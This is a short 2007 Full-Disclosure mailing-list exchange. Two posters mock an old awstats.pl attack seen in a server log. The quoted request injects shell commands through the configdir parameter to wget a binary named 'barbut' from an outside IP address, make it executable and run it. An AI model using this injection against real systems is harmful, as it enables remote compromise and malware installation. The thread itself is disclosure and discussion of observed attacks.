Re: [Full-disclosure] Barbut

[Simon Smith <simon@xxxxxxxxxxx>]

Vladis,
        Got that right... this vulnerability was released ages ago if memory
serves right. Whats funny is that I am not using a linux host and I do
not use awstats anyway... makes the attack even more pathetic.

Valdis.Kletnieks@xxxxxx wrote:
> On Wed, 21 Nov 2007 14:20:22 EST, Simon Smith said:
> 
>> Anyone else seen these really 3l337 attacks?
> 
>> GET
>> /stats/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo|
> 
>> gotta love script kids...
> 
> The truly sad part is that the script apparently still works often enough that
> the script kids are still using it, rather than saying "that one's crap, it
> never gets me a box".
> 
> One has to wonder what level of pwnage exists on boxes that are *still*
> vulnerable to this one - they may actually be reaching win98-style 
> equilibrium.
> They're old enough that everybody's hit them already, and are probably running
> software *so* ancient that it's actually before most of the current crop of
> vulnerabilities were discovered.
> 


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- simon

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